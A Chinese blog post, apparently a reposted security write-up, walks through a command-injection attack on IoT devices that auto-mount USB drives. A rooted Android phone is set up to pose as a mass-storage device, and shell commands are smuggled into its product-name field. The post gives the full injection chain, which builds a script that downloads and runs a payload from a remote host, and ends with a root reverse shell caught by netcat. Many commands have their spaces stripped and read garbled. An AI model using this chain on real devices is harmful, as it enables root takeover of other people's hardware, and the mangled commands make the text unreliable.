针对USB外设命令注入渗透的示例分析

针对USB外设命令注入渗透的示例分析

这篇文章将为大家详细讲解有关针对USB外设命令注入渗透的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

写在前面的话

当我看到【这篇报告】的时候,我突然意识到将USB作为物联网设备的攻击面,也许会是一件有趣的事情。现在很多设备都允许用户使用USB设备,然后自动执行某些操作,但这种自动化特性对于USB设备未免太过于信任了。

我发现,有的物联网设备会自动挂载任何连接到它的USB大容量存储设备,而且如果设备设置了某些特殊属性,那么设备可能会使用这些属性来创建挂载目录名。此外,很多挂载操作是通过调用C系统函数实现的,而恶意USB设备就可以通过这种方式来实现任意命令执行了。由于负责该操作的守护进程是以root权限运行的,因此攻击者就可以将USB设备插入到设备后等待几秒钟,然后就能够以root权限执行任意命令了。

这里,我打算将我的Android设备变成一个定制版的USB外设,然后进行测试。我是用的是一个已root的Nexus 5X,系统版本为Android 8.1。接下来,我们进入主题。

将Android作为大容量存储设备

这里我需要把Android设备作为USB大容量存储设备来使用,并设置一些由我控制的属性:产品名称字符串、产品模型字符串和磁盘标签。

我对ConfigFS不是非常了解,但是在面对/config/usb_gadget时,我打算使用ConfigFS方法来将我的设备变成一个大容量USB存储设备。我自己写了一个脚本来创建所有的条目,但在测试时,我遇到了如下提示:

mkdir:'/config/usb_gadget/g1/functions/mass_storage.0':Functionnotimplemented

我也不太懂为什么这样不行,但很明显这个方法在这里并不适用。于是我开始研究Android和Linux的内核源码,但源码看得我有些脑瓜疼...最终我发现,我只需要在设备上创建/bin/touch /tmp/haxxed,然后声明自己为1337即可,所以我把重点放在Android的init文件上。

通过分析Android的init文件,我们会发现两个针对USB的不同.rc文件:init.usb.configfs.rc和init.usb.rc。这两份文件都会查看 sys.usb.configfs属性,判断init.usb.configfs.rc文件使用的属性值是否为“1”,否则将使用init.usb.rc。在我的测试场景中,sys.usb.configfs为“0”,但我没有测试sys.usb.configfs为“1”时会发生什么。

探索未知区域

既然我们的主要分析目标落在了“ /sys/class/android_usb/android0”目录的身上,那么我们先看看这个目录里面有什么:

bullhead:/sys/class/android_usb/android0#lsbDeviceClassf_acmf_ffsf_rmnetiManufacturerpowerbDeviceProtocolf_audiof_gpsf_rmnet_smdiProductremote_wakeupbDeviceSubClassf_audio_sourcef_mass_storagef_rndisiSerialstatebcdDevicef_ccidf_midif_rndis_qcidProductsubsystemdown_pm_qos_sample_secf_chargingf_mtpf_serialidVendorueventdown_pm_qos_thresholdf_diagf_ncmf_uaspidle_pc_rpm_no_int_secsup_pm_qos_sample_secenablef_ecmf_ptpf_usb_mbimpm_qosup_pm_qos_thresholdf_accessoryf_ecm_qcf_qdssfunctionspm_qos_state

其中的idVendor, idProduct, iProduct, iManufacturer, 和f_mass_storage看起来都非常眼熟。如果你熟悉ConfigFS的话,f_mass_storage的内容看起来跟mass_storage函数的内容也很相似:

bullhead:/sys/class/android_usb/android0#lsf_mass_storagedeviceinquiry_stringlunlunspowersubsystemueventbullhead:/sys/class/android_usb/android0#lsf_mass_storage/lunfilenofuapowerrouevent

我的目标只是通过制作一个恶意的usb设备来渗透目标设备,而不是学习linux内核的内部工作原理以及如何将Android设置为usb外围设备。我打算以后再深入探讨这个问题,届时也许会写一篇更全面的博文。有很多关于源代码和设备本身的文章也许可以帮助您了解如何使用这个目录。

init.usb.rc文件的这几行配置吸引了我的注意:

write/sys/class/android_usb/android0/enable0....write/sys/class/android_usb/android0/functions${sys.usb.config}write/sys/class/android_usb/android0/enable1

那么当我将开发者设备插入目标设备并使用ADB连接时,这个函数会做什么呢?

bullhead:/sys/class/android_usb/android0#catfunctionsffs

我发现,设备的ADB连接是通过FunctionFS实现的,而FunctionFS和ffs正好又是我的短板。这里需要修改其对应的值,然后将其设置为mass_storage来看看会发生什么。

bullhead:/sys/class/android_usb/android0#echo0>enable

好吧,我的ADB会话就这样挂了。幸运的是,ADB可以通过TCP/IP来工作,于是乎:

adbtcpip5555adbconnect192.168.1.18:5555

连接成功后,我们就可以将USB设备变成大容量存储设备了:

bullhead:/sys/class/android_usb/android0#echo0>enablebullhead:/sys/class/android_usb/android0#echomass_storage>functionsbullhead:/sys/class/android_usb/android0#echo1>enable

制作镜像

在制作镜像时,我需要控制磁盘标签的值。主要是让目标设备将我们的设备识别为大容量存储设备,并完成设备加载:

ddif=/dev/zeroof=backing.imgcount=50bs=1M

这条命令可以创建一个名为backing.img的文件,大小为50MB,然后使用fdisk对其进行格式化处理:

echo-e-n'o\nn\n\n\n\n\nt\nc\nw\n'|fdiskbacking.img

运行之后,效果如下:

Welcometofdisk(util-linux2.31.1).Changeswillremaininmemoryonly,untilyoudecidetowritethem.Becarefulbeforeusingthewritecommand.Devicedoesnotcontainarecognizedpartitiontable.CreatedanewDOSdisklabelwithdiskidentifier0xd643eccd.Command(mforhelp):CreatedanewDOSdisklabelwithdiskidentifier0x50270950.Command(mforhelp):Partitiontypepprimary(0primary,0extended,4free)eextended(containerforlogicalpartitions)Select(defaultp):Usingdefaultresponsep.Partitionnumber(1-4,default1):Firstsector(2048-20479,default2048):Lastsector,+sectorsor+size{K,M,G,T,P}(2048-20479,default20479):Createdanewpartition1oftype'Linux'andofsize9MiB.Command(mforhelp):Selectedpartition1Hexcode(typeLtolistallcodes):Changedtypeofpartition'Linux'to'W95FAT32(LBA)'.Command(mforhelp):Thepartitiontablehasbeenaltered.Syncingdisks.

接下来,给镜像添加一个DOS分区表,并使用FAT32格式:

#losetup--offset1048576-fbacking.img/dev/loop0#mkdosfs-n"HAX"/dev/loop0#losetup-d/dev/loop0

化整为零

在镜像文件的帮助下,我们就可以实现完整功能的USB设备了:

$adbtcpip5555$adbconnect192.168.1.18:5555$adbpushbacking.img/dev/local/tmp/$adbshell

在adb shell中运行下列命令:

$su#echo0>/sys/class/android_usb/android0/enable#echo'/data/local/tmp/backing.img'>/sys/class/android_usb/android0/f_mass_storage/lun/file#echo'mass_storage'>/sys/class/android_usb/android0/functions#echo1>/sys/class/android_usb/android0/enable

如果一切顺利的话,你将会看到如下内容:

#lsusb-v-d18d1:Bus003Device036:ID18d1:4ee7GoogleInc.DeviceDescriptor:bLength18bDescriptorType1bcdUSB2.00bDeviceClass0(DefinedatInterfacelevel)bDeviceSubClass0bDeviceProtocol0bMaxPacketSize064idVendor0x18d1GoogleInc.idProduct0x4ee7bcdDevice3.10iManufacturer1LGEiProduct2Nexus5XiSerial30000000000000000bNumConfigurations1ConfigurationDescriptor:bLength9bDescriptorType2wTotalLength32bNumInterfaces1bConfigurationValue1iConfiguration0bmAttributes0x80(BusPowered)MaxPower500mAInterfaceDescriptor:bLength9bDescriptorType4bInterfaceNumber0bAlternateSetting0bNumEndpoints2bInterfaceClass8MassStoragebInterfaceSubClass6SCSIbInterfaceProtocol80Bulk-OnlyiInterface5MassStorageEndpointDescriptor:bLength7bDescriptorType5bEndpointAddress0x81EP1INbmAttributes2TransferTypeBulkSynchTypeNoneUsageTypeDatawMaxPacketSize0x02001x512bytesbInterval0EndpointDescriptor:bLength7bDescriptorType5bEndpointAddress0x01EP1OUTbmAttributes2TransferTypeBulkSynchTypeNoneUsageTypeDatawMaxPacketSize0x02001x512bytesbInterval1DeviceQualifier(forotherdevicespeed):bLength10bDescriptorType6bcdUSB2.00bDeviceClass0(DefinedatInterfacelevel)bDeviceSubClass0bDeviceProtocol0bMaxPacketSize064bNumConfigurations1DeviceStatus:0x0000(BusPowered)

设备信息如下:

$ls-lh/dev/disk/by-idlrwxrwxrwx1rootroot9Aug214:35usb-Linux_File-CD_Gadget_0000000000000000-0:0->../../sdblrwxrwxrwx1rootroot10Aug214:35usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1->../../sdb1

设备加载:

$mkdirHAX&&sudomount/dev/sdb1HAX

我们此时可以根据自己的需要修改相关参数:

#echo0>/sys/class/android_usb/android0/enable#echo1337>/sys/class/android_usb/android0/idProduct#echo'CarveSystems'>/sys/class/android_usb/android0/iManufacturer#echo'1337HackingTeam'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable$lsusb-v-d18d1:Bus003Device044:ID18d1:1337GoogleInc.DeviceDescriptor:....idProduct0x1337....iManufacturer1CarveSystemsiProduct21337HackingUSB....

开始渗透

我利用的代码如下:

snprintf(dir,DIR_SIZE,"/mnt/storage/%s%s%s",LABEL,iManufacturer,iProduct);snprintf(cmd,CMD_SIZE,"mount%s%s",/dev/DEVICE,dir);system(cmd);

我的PoC漏洞利用步骤如下:

1、向存在漏洞的守护进程的cwd注入一个shell脚本,然后生成一个反向Shell;

2、使用sh执行该文件;

配置好Android设备后,我们就可以直接使用下列命令完成漏洞利用了:

echo0>enableecho';{cmd};'>iProductecho1>enable

完整的命令链代码如下:

#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}s=\"$IFS\">>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}chmod\$s+x\${s}shell>>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';echo${IFS}\${b}shell>>a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable#echo0>/sys/class/android_usb/android0/enable#echo';sh${IFS}a;'>/sys/class/android_usb/android0/iProduct#echo1>/sys/class/android_usb/android0/enable

命令运行完成后将创建下列文件(/a):

b=/s=""u=http:$b${b}192.168.1.152:8000${b}shellcurl$s-s$s-o${s}shell$s$uchmod$s+x${s}shell${b}shell

最后一条命令会使用“sh a”命令来执行文件,脚本会给我们返回一个反向Shell Payload:

$nc-l-p3567iduid=0(root)gid=0(root)groups=0(root)

至此,我们的漏洞利用就算正式完成了。

关于“针对USB外设命令注入渗透的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

发布于 2021-12-28 21:01:28
收藏
分享
海报
0 条评论
101
上一篇:ddr4内存价格历史统计(笔记本ddr4内存是什么意思) 下一篇:怎么利用暴力破解攻击打进目标Web服务器
目录

    0 条评论

    本站已关闭游客评论,请登录或者注册后再评论吧~

    忘记密码?

    图形验证码